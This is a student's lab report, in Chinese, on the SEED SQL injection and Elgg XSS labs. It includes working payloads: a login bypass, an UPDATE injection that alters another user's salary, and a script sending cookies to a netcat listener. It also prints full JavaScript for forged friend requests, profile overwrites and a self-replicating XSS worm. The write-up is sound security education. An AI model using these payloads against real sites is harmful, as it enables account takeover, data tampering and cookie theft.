20251913 2025-2026-2 《网络攻防实践》 第10次作业
1.实践内容
一、SEED SQL注入攻击与防御实验
本实验基于 www.SEEDLabSQLInjection.com 上的员工管理 Web 应用,该应用存在 SQL 注入漏洞,包含管理员和员工两种角色。数据库 Users 中的 credential 表存储了员工的 eid、密码、薪水、ssn 等信息。实验任务如下:
-
熟悉 SQL 语句 :通过命令行连接数据库,练习 SELECT 、 UPDATE 等基本 SQL 查询,了解 credential 表结构,为后续注入攻击做准备。
-
SELECT 语句的 SQL 注入攻击 :在登录页面,利用用户名或密码输入框注入恶意 SQL 片段(如 admin'# 或 ' OR '1'='1' -- ),绕过密码验证,在不知道密码的情况下以管理员身份登录系统。
-
UPDATE 语句的 SQL 注入攻击 :通过员工个人信息编辑界面,在更新字段中注入 SQL 语句(如修改薪水的 ', salary='999999 ),篡改数据库中本无权修改的数据。
-
SQL 对抗防御 :使用预处理语句(Prepared Statement)和参数化查询重构数据库交互代码,对输入进行严格的过滤与转义,从根本上杜绝 SQL 注入漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
本实验在预装 Elgg 社交平台的 Ubuntu VM 中进行,利用 XSS 漏洞实现攻击传播。
-
恶意消息与弹窗 :在个人资料中嵌入 JavaScript 代码 ,当其他用户访问该页面时触发弹窗,验证 XSS 漏洞存在。
-
弹窗显示 Cookie 信息 :将弹窗内容改为 document.cookie ,直接查看当前用户的 Cookie 值。
-
窃取受害者 Cookies :构造 JavaScript 将 document.cookie 通过 HTTP 请求(如 new Image().src 方式)发送到攻击者监听服务器,实现 Cookie 窃取。
-
成为受害者的朋友 :分析 Elgg 添加好友的 HTTP 请求过程,在恶意脚本中伪造 POST 请求发送好友添加请求,使受害者访问页面后自动添加攻击者为好友。
-
修改受害者资料 :构造 CSRF 攻击,通过 JavaScript 自动提交修改个人资料的表单,在受害者不知情的情况下篡改其个人信息。
-
编写 XSS 蠕虫 :在恶意脚本中加入自我复制逻辑——修改受害者个人资料时同时嵌入自身代码,使每个访问被感染页面的用户都成为新的传播源,实现蠕虫式扩散。
-
XSS 对抗防御 :使用 htmlspecialchars() 对用户输入进行 HTML 实体编码,启用 Content-Security-Policy(CSP)策略限制内联脚本执行,从根本上阻断 XSS 攻击。
2.实践过程
2.1 SEED SQL注入攻击与防御实验
2.1.1安装虚拟机
- 下载最新版本的SEEDUbuntu https://seed.nyc3.cdn.digitaloceanspaces.com/SEEDUbuntu-16.04-32bit.zip
打开VMware,点击新建虚拟机。前几步直接点默认的,直到如图所示这一步使用现有的虚拟磁盘
![image]()
选择下载好的SEEDUbuntu-16.04-32bit.vmdk
![image]()
虚拟机创建完毕
![image]()
- 配置虚拟机的虚拟化引擎、监视器、网络适配器
![image]()
![image]()
![image]()
- 打开虚拟机,修改主机名
在终端输入命令hostname 20251913zc
![image]()
2.1.2熟悉SQL语句
输入命令mysql -u root -p登录数据库,密码为seedubuntu

输入命令show databases;查看mysql的数据库

输入use Users和show tables;查看Users的数据库和表格

输入命令select * from credential;,查看credential中的所有条目


输入命令select * from credential where Name = 'Alice';, 查询Name为Alice的相关记录

2.1.3 对SELECT语句的SQL注入攻击
进入网页:www.SEEDLabSQLInjection.com

右击选择view page source查看网页源码

发现用的是get方式访问unsafe home.php

输入/var/www/SQLInjection/unsafe_home.php查看相关源码

分析这一段的代码





分析可知攻击者通过输入 Admin'#,利用SQL注入将密码检查部分注释掉,从而绕过密码验证,直接以管理员身份登录系统。
因此,我们可以构造Admin'#,密码任意输入,即可在不知道密码的情况下以 Admin 身份登录。
这里我们输入用户名Admin'#,密码123456

成功登录

2.1.4 对UPDATE语句的SQL注入攻击
查看 Edit_Profile 页面的源代码

可看到是使用get请求访问unsafe_edit_backend.php

输入/var/www/SQLInjection/unsafe_edit_backend.php查看相关源码


根据我们之前查到的信息,直接输入Boby'#,查询Boby的信息


构造 $input_nickname 的值来进行SQL注入攻击.登录成功进入后点击Edit Profile进行修改,输入', salary='20251913' where Name='Boby';#把Boby的Salary修改为20251913,修改好后点击Save,可以看到已经修改完成了

2.1.5 SQL对抗
修改unsafe_home.php中的语句
$sql = $conn->prepare("SELECT id, name, eid, salary,birth, ssn, phoneNumber,address,email,nickname,Password From credential WHERE name= ? and Password=?;");
$sql->bind_param("ss",$input_uname,$hashed_pwd);


2.2 SEED XSS跨站脚本攻击实验(Elgg)
2.2.1 发布恶意消息,显示警报窗口
打开网站 http://www.xsslabelgg.com ,并用账号:alice和密码:seedalice登录


点击进入alice界面,选择edit profile,在brief description写入<script>alert("20251913");</script>,记得保存

看到弹窗说明用户输入的脚本被浏览器直接执行,网站存在XSS漏洞

2.2.2弹窗显示cookie信息
一样的操作,这次我们输入<script>alert(document.cookie);</script>

保存后弹出这样的消息,攻击者可以获取用户身份凭据

2.2.3 窃取受害者的cookies
输入指令nc -l 5555 -v,监听5555号端口

依旧在brief description写入<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>' );</script>

保存好,打开监听显示

窃听成功
2.2.4 成为受害者的朋友
访问boby主页,fn+f12打开网络监控,点击add friend,可以看到id,ts和token三个信息,其中,friend=45,45是boby的id;friend;__elgg_ts是时间戳;__elgg_token是令牌。


根据上述信息编写非法添加好友的代码,一定要点about me中的Edit HTML,才能够添加代码。
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>

看到Alice主页,Boby已经成为好友了

2.2.5 修改受害者的信息
在About Me中填写如下代码:
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by zc.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

保存,登录Boby的账户,然后访问Alice主页,可以看到,Boby的主页被修改

2.2.6 编写XSS蠕虫
在Alice的About Me中填写如下代码
这段代码是一个典型的XSS蠕虫,它的作用是当已登录的普通用户访问到被植入这段脚本的页面时,蠕虫会自动复制并传播自身,同时修改受害者的个人资料。
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>zc20251913"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

保存后,点击OK

登录boby账户并访问alice主页后,可以看到个人信息已经被强制修改

2.2.7 对抗XSS攻击
登录管理员账户,账号:admin,密码:seedelgg

打开网址www.xsslabelgg.com/admin,选择plugin,找到HTMLawed,把activate改为Deactivate:


再访问alice的主页发现攻击失败

3.学习中遇到的问题及解决
- 问题1:编写的代码段无法复制到虚拟机里,下载VMware tools后完成。
- 问题1解决方案:在主机(Windows)上下载:https://packages-prod.broadcom.com/tools/frozen/linux/linux.iso
第一步:将 ISO 文件挂载到虚拟机
在 VMware 主界面,选中您的 Ubuntu 虚拟机,点击 “编辑虚拟机设置”。
在设置窗口中,选中 CD/DVD (SATA) 设备。
在右侧选择 “使用 ISO 映像文件”,点击 “浏览”,选中您刚刚下载的 linux.iso。
确保 “已连接” 和 “启动时连接” 这两个选项都打上勾,点击“确定”。
第二步:在 Ubuntu 中安装(无网络环境操作)
启动 Ubuntu 虚拟机。
按下 Ctrl + Alt + T 打开终端,按顺序执行以下命令:
在文件管理器里直接把那个 .tar.gz 文件拖拽到 Home 目录(左边栏的 Home),然后在终端执行:
cd ~
tar -xzvf VMwareTools-*.tar.gz
cd vmware-tools-distrib
sudo ./vmware-install.pl
第一个问题问是否继续,输入 yes 然后回车,之后所有问题直接按回车接受默认值,安装成功后,输入 sudo reboot 重启虚拟机。
4.实践总结
这次实验涵盖 SQL 注入和 XSS 跨站脚本两大 Web 安全核心领域,收获很大。SQL 注入部分从最基础的数据库查询开始,逐步深入到 SELECT 和 UPDATE 语句的注入攻击,最后用预处理语句进行修复。XSS 实验更有意思,从弹个 alert 到窃取 Cookie,再到自动加好友、改资料,一步步把浏览器的同源信任关系拆解得明明白白。写蠕虫脚本时,理解了为什么 XSS 常年位居 OWASP Top 10。实验做完,感觉防御措施并不复杂,预处理语句和输出编码就能解决大部分问题,关键在于开发时要有安全意识,把安全编码变成习惯而非事后补救。








浙公网安备 33010602011771号